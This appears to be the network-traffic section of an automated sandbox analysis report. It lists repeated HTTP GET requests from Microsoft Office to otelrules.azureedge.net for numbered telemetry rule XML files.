Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
